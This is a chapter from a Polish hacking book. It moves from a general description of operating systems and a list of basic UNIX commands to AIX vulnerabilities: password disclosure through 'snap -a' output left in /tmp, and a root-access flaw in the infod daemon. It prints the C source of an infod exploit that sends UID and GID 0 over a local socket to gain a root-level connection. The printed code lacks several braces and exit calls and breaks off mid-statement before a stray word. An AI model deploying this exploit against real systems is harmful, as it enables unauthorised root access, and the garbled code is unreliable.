Rozdział 9. ¨ Systemy operacyjne 571
System operacyjny (operating system, OS) zdefiniować można jako zbiór instrukcji niezbędnych do pracy systemu komputerowego. Jest to najważniejszy element spośród całego stosowanego oprogramowania. System operacyjny zarządza wszystkimi programami, podzespołami i urządzeniami przyłączonymi do komputera. Można wręcz porównać jego rolę do roli urzędu pocztowego — instytucji, która odpowiada za wymianę poczty. Na podobnej zasadzie system operacyjny kieruje przepływem danych wewnątrz systemu komputerowego.
Systemy operacyjne klasyfikuje się, biorąc po uwagę przede wszystkim ich platformy sprzętowe, którymi mogą być superkomputery, komputery mainframe, serwery, stacje robocze, komputery osobiste a nawet palmtopy. System operacyjny decyduje o sposobie zapisywania danych w pamięci masowej, dba o obsługę nazw plików, ich wyszukiwanie i zabezpieczanie. Zarządza również wszystkimi urządzeniami przyłączonymi do jednostki centralnej (patrz rysunek 9.1). Podczas uruchamiania komputera jądro systemu operacyjnego zostaje automatycznie załadowane do pamięci. Po samoczynnej inicjalizacji uruchamiane są kolejne programy. W trakcie ich pracy system operacyjny pozostaje aktywny „w tle”. Najpopularniejsze systemy operacyjne to DOS, Microsoft Windows, MacOS, Linux, SunOS i UNIX.
Rysunek 9.1.
Funkcje systemu operacyjnego
Hakerzy od dawna badają wszystkie wymienione platformy i wyróżnić można wiele charakterystycznych, wykorzystywanych do przełamywania ich barier ochronnych, technik. W naszym omówieniu wyróżnimy następujące: AIX, BSD, Digital, HP-UX, IRIX, UNIX, Linux, MacOS, Windows, OS/2, SCO, Solaris i VAX/VMS. Rozpoczniemy „od ogółu”, a więc — system UNIX.
W różnorodnych odmianach systemu UNIX luk w zabezpieczeniach nie brakuje, tym bardziej, że trudno doszukać się ich pełnej i sprawdzonej dokumentacji (dotyczy to przede wszystkim możliwości wykorzystania znanych luk w innych odmianach systemu i wymaganych do tego modyfikacji). Podstawowe techniki to: przejęcie konta root, przepełnianie bufora, przeciążanie (flooding) oraz różnego rodzaju przejęcia usług.
Podstawową pomocą początkującego hakera będzie lista najistotniejszych poleceń systemu UNIX, którą przytaczamy poniżej.
alias
Przeglądanie bieżących aliasów.
awk
Wyszukiwanie w pliku określonego wyrażenia.
bdiff
Porównywanie dwóch dużych plików.
bfs
Przeszukanie dużego pliku.
cal
Wyświetlenie kalendarza.
cat
Łączenie i drukowanie plików.
cc
Kompilator C.
cd
Zmiana katalogu.
chgrp
Zmiana grupy właścicieli plików.
chmod
Zmiana uprawnień pliku.
chown
Zmiana właściciela pliku.
cmp
Porównywanie dwóch posortowanych plików.
comm
Porównywanie wspólnych wierszy w dwóch plikach.
cp
Kopiowanie pliku.
cu
Wywołanie innego systemu UNIX.
date
Wyświetlenie daty.
df
Raport zajętości dysków.
diff
Wyświetlanie różnic między dwoma plikami.
du
Informacje o wykorzystaniu miejsca na dysku przez pliki katalogu bieżącego i podkatalogów.
echo
Przesłanie danych na ekran lub do pliku.
ed
Edytor tekstu.
env
Lista istniejących zmiennych środowiskowych.
ex
expr
Wyliczenie wartości według wzoru.
find
Wyszukiwanie pliku.
f77
Kompilator języka Fortran.
format
Inicjalizowanie dyskietki.
grep
Wyszukiwanie określonego wzorca w pliku.
head
Wyświetlenie początkowej części pliku.
help
Pomoc.
kill
Zakończenie pracy procesu.
ln
Tworzenie dowiązania między dwoma plikami.
ls
Lista plików w katalogu.
mail
Wysyłanie i odbieranie poczty.
mkdir
Tworzenie katalogów.
more
Wyświetlanie zawartości pliku danych.
mv
Przenoszenie lub zmiana nazwy pliku.
nohup
Kontynuowanie przetwarzania po wylogowaniu użytkownika.
nroff
Formatowanie tekstu.
passwd
Zmiana hasła.
pkgadd
Instalowanie nowego programu.
ps
Lista istniejących procesów.
pwd
Wyświetlanie nazwy katalogu bieżącego.
rm
Usuwanie pliku.
rmdir
Usuwanie katalogu.
set
Lista zmiennych powłoki.
setenv
Ustawianie wartości zmiennych środowiskowych.
sleep
Czasowe wstrzymanie pracy procesu.
source
Odbudowa i wykonanie pliku.
sort
Sortowanie linii w plikach tekstowych.
spell
Wyszukiwanie błędów ortograficznych.
split
Dzielenie plików.
stty
Ustawianie opcji terminala.
tail
Wyświetlenie końcowej części pliku.
tar
Zapisuje listę plików w pojedynczym pliku (archiwum tar) lub odtwarza pliki z archiwum.
touch
Zmiana czasu dostępu i modyfikacji plików. Jeżeli plik nie istnieje tworzony jest pusty plik.
troff
Formatowanie danych wyjściowych.
tset
Ustawianie typu terminala.
umask
Określanie maski uprawnień dla nowych plików.
uniq
Usuwa powtarzające się linie z posortowanego pliku.
uucp
Kopiowanie UUCP.
vi
Pełnoekranowy edytor tekstu.
volcheck
Sprawdzenie zainstalowania dyskietki.
wc
Liczba bajtów, słów i wierszy w pliku.
who
Lista użytkowników bieżących.
write
Przesyłanie komunikatów innym użytkownikom.
!xx
Powtarzanie ostatniego polecenia zaczynającego się od xx.
System AIX firmy IBM (www.ibm.com) to zintegrowana odmiana UNIX-a dla systemów 32- i 64-bitowych. AIX stosowany jest szeroko na komputerach RS/6000, poczynając od najprostszych serwerów i stacji roboczych, aż po potężne superkomputery, jak na przykład RS/6000 SP. System AIX był pierwszym w swojej klasie, który uzyskał niezależne certyfikaty zabezpieczeń i zapewniał zgodność z mechanizmami C2 i B1 (klasy zabezpieczeń opisane zostały w części 2.). Jego nowy, oparty na WWW, system zarządzania pozwala konfigurować stacje pod kontrolą systemu AIX zdalnie za pośrednictwem Internetu (patrz rysunek 9.2).
Rysunek 9.2.
Zdalne konfigurowanie obsługi sieci w systemie AIX
Streszczenie: Polecenie diagnostyczne pozwala odkodować hasła, mimo zastosowania jednokierunkowego algorytmu mieszającego.
Stan po ataku: Ujawnienie haseł.
Podatność: AIX 3x/4x +.
Luka: W przypadkach awarii systemu obsługa korzysta zazwyczaj z wydruku uzyskiwanego poleceniem snap -a. To proste narzędzie diagnostyczne eksportuje dane systemowe (łącznie z hasłami) do katalogu danych tymczasowych. Umożliwia to hakerowi odczytanie haseł z katalogu /tmp/ibmsupt/general/.
Streszczenie: Demon infod systemu AIX umożliwia zdalne logowanie na konto root.
Stan po ataku: Nieautoryzowany dostęp na poziomie root.
Podatność: AIX 3x/4x.
Luka: Moduł Info Explorer systemu AIX służy do scentralizowanej obsługi dokumentacji. Nie jest więc przeprowadzane żadne sprawdzenie danych przesyłanych do lokalnego gniazda. Umożliwia to hakerowi wysłanie odpowiednio spreparowanych danych do procesu demona i przekierowanie zainicjowanego już połączenia do własnego okna X. Przesłanie wartości UID i GID równych 0 powinno zmusić demona do utworzenia połączenia z uprawnieniami root. Ilustruje to poniższy program infod.c. Jego autorem jest guru systemu UNIX, Arisme.
infod.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <pwd.h>
#define TAILLE_BUFFER 2000
#define SOCK_PATH "/tmp/.info-help"
#define PWD "/tmp"
#define KOPY "Infod AIX exploit (k) Arisme 21/11/98\nAdvisory RSI.0011.11-09-98.å AIX.INFOD (http://www.repsec.com)"
#define NOUSER "Use : infofun [login]"
#define UNKNOWN "User does not exist !"
#define OK "Waiting for magic window ... if you have problems check the xhost "
void send_environ(char *var,FILE *param)
{ char tempo[TAILLE_BUFFER];
int taille;
taille=strlen(var);
sprintf(tempo,"%c%s%c%c%c",taille,var,0,0,0);
fwrite(tempo,1,taille+4,param);
}
main(int argc,char** argv)
{ struct sockaddr_un sin,expediteur;
struct hostent *hp;
struct passwd *info;
int chaussette,taille_expediteur,port,taille_struct,taille_param;
char buffer[TAILLE_BUFFER],paramz[TAILLE_BUFFER],*disp,*pointeur;
FILE *param;
char *HOME,*LOGIN;
int UID,GID;
printf("\n\n%s\n\n",KOPY);
if (argc!=2) { printf("%s\n",NOUSER);
exit(1); }
info=getpwnam(argv[1]);
if (!info) { printf("%s\n",UNKNOWN);
HOME=info->pw_dir;
LOGIN=info->pw_name;
UID=info->pw_uid;
GID=info->pw_gid;
param=fopen("/tmp/tempo.fun","wb");
chaussette=socket(AF_UNIX,SOCK_STREAM,0);
sin.sun_family=AF_UNIX;
strcpy(sin.sun_path,SOCK_PATH);
taille_struct=sizeof(struct sockaddr_un);
if (connect(chaussette,(struct sockaddr*)&sin,taille_struct)<0)
{ perror("connect");
/* 0 0 PF_UID pf_UID 0 0 */
sprintf(buffer,"%c%c%c%c%c%c",0,0,UID>>8,UID-((UID>>8)*256),0,0);
fwrite(buffer,1,6,param);
/* PF_GID pf_GID */
sprintf(buffer,"%c%c",GID>>8,GID-((GID>>8)*256));
fwrite(buffer...
streser